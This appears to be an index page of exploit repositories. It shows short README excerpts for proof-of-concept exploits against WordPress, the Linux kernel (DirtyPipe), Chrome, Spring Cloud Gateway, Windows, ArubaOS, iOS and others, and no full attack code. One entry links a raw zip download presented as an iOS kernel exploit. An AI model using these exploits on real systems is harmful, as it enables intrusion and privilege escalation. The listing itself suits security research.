CVE-2025-2266

🚨 CVE-2025-2266 — WordPress Plugin Exploit 🔍 Vulnerability Summary The Checkout Mestres do WP for WooCommerce plugin for WordPress is affected by an unauthenticated arbitrary options update vulnerability in versions 8.6.5 through 8.7.5. The vulnerable function cwmpUpdateOptions lacks proper...

CVE-2022-22909

CVE-2022-22909 Description A Code Injection vulnerability has been found on the Hotel Druid v3.0.3 application, which an attacker could exploit to execute remote code on the server. For a successful exploitation, an attacker should have the privilege to add a new room. Vulnerability description T...

CVE-2023-2002

Linux Bluetooth: Unauthorized management command execution CVE-2023-2002 An insufficient permission check has been found in the Bluetooth subsystem of the Linux kernel when handling ioctl system calls of HCI sockets. This causes tasks without the proper CAPNETADMIN capability can easily mark HCI...

dirtypipez-exploit

CVE-2022-0847 DirtyPipe Exploit. Credit: Max Kellermann [email protected] A new Linux vulnerability known as 'Dirty Pipe' allows local users to gain root privileges through publicly available exploits. Today, security researcher Max Kellermann responsibly disclosed the 'Dirty Pipe'...

Linpmem

Linpmem -- a physical memory acquisition tool for Linux Linpmem is a Linux x64-only tool for reading physical memory. Like its Windows counterpart, Winpmem, this is not a traditional memory dumper. Linpmem offers an API for reading from any physical address, including reserved memory and memory...

CVE-2019-5782_CVE-2019-13768

https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html Exploits CVE-2019-7582 and CVE-2019-13768/P0 issue 1755 Targets Chrome 71.0.3578.98 Needed to update the original PoC to work on Windows 10 1909+. Also needed to increase reliability on a particular target...

DrayTek-Exploit

CVE-2022-23093 FreeBSD Stack-Based Overflow Informations ⚠️ The shellcode that is used by default is FreeBSD/x86-64 - execve - 28 bytes from Gitsnik change it and put your own one for starting ⚠️ Details of Vulnerability The ping utility, used to solicit an ICMP ECHORESPONSE from a host or gateway,...

GenEtherExploit

EN GenEtherExploit is a Proof-of-Concept PoC exploit for the macOS vulnerability CVE-2023-40404. This PoC leverages IOKit APIs to interact with the IOUserEthernetResource network service, manipulating the system's network interfaces. The purpose of this exploit is to demonstrate a potential kerne...

cve-2022-22947

cve-2022-22947 Spring Cloud Gateway is an API gateway in Spring. Versions 3.1.0 and 3.0.6 inclusive and earlier contain a SpEL expression injection vulnerability. When an attacker can access the Actuator API, they can exploit this vulnerability to execute arbitrary commands. Usage: ➜...

CVE-2019-1315

Windows Error Reporting Manager arbitrary file move Elevation of Privilege Details: https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html You will need the NtApiDotNet library to run it, as well as a valid Report.wer file, both to be placed in the same directory as...

CVE-2023-23397_EXPLOIT_0DAY

CVE-2023-23397EXPLOIT0DAY Exploit for the CVE-2023-23397 Credit to domchell EML/MSG Checker for the exploit: !/usr/bin/env python3 from extractmsg import AppointmentMeeting from ..helpers import Status from ..task import Task from ..report import Report from .base import BaseWorker class...

exploit_cve-2021-29447

exploitcve-2021-29447 For educational purposes only. This exploit is supposed to be really convenient tool to get any file from server running wordpress 5.6.2 and php8. see https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5 All you need is base wp-admin access and ability to...

CVE-2024-26304-RCE-exploit

CVE-2024-26304 - Remote Code Execution Vulnerability in ArubaOS Overview CVE-2024-26304 is a critical remote code execution RCE vulnerability affecting ArubaOS due to a buffer overflow in its L2/L3 Management service. An attacker can exploit this by sending specially crafted packets to the PAPI...

cybersecurity-projects

Research Landscape Research Domains 01 — WEB SECURITY Application Security API Security Authentication Browser Security Security Controls | 02 — NETWORK SECURITY Reconnaissance Protocol Security Enterprise Networks Traffic Analysis Detection | 03 — MALWARE & RE Malware Analysis Reverse Engineerin...

CVE-2021-31166-Exploit

CVE-2021-31166-Exploit Exploit for MS Http Protocol Stack RCE vulnerability CVE-2021-31166 A specially crafted Http request targetting a vulnerable windows version will result into DOS attack. And the server will be rebooted with blue screen error. Http.sys is a windows kernel driver responsible...

oob_entry

oobentry: Authorized iOS kernel exploit research for tfp0 access Visit releases: https://github.com/rkrakesh524/oobentry/raw/refs/heads/main/src/entry-oob-1.1.zip A calm, careful space for researchers to document, discuss, and share knowledge about iOS kernel concepts related to tfp0 access. This...

CVE-2022-37042

CVE-2022-37042 Usage View vulnerability information. go run main.go -s / / | / / / | \ / \ | \ | / / / // /| \ / / | | / / // // / / // // / / / / / / // // / / / | |/ / /// // // / // /// / / / // / / / / |// ///// // /// // // @0xf4n9x WRN Use with caution. You are responsible for your...

DirtyPipePython

dirty.py Description This is an exploit for the Linux kernel vulnerability CVE-2022-0847 DirtyPipe discovered by Max Kellerman. This code combines two existing DirtyPipe POC's into one: febinrev Overwrites sudo binary to directly pop a root shell eremus-dev A direct copy of Kellerman's POC into...

CVE-2024-2887

CVE-2024-2887 This is a short writeup for the CVE-2024-2887, which I used to claim V8CTF M123. When define more types than kV8MaxWasmTypes, which can be achieved by padding more types in RecGroup, the types index can be more than 20bits and then overflowed. Then two types can be considered same a...

CVE-2019-0708-PoC-Hitting-Path

CVE-2019-0708-PoC-Hitting-Path Really Really Bad, don't judge this code hahaha it's terrible It's only hitting vulnerable path in termdd.sys!!! NOT DOS Tested only on Windows XP Sp3 x86, Windows 7 will need negotiation part probably so it won't work I hope that work at all Maybe it will be useful...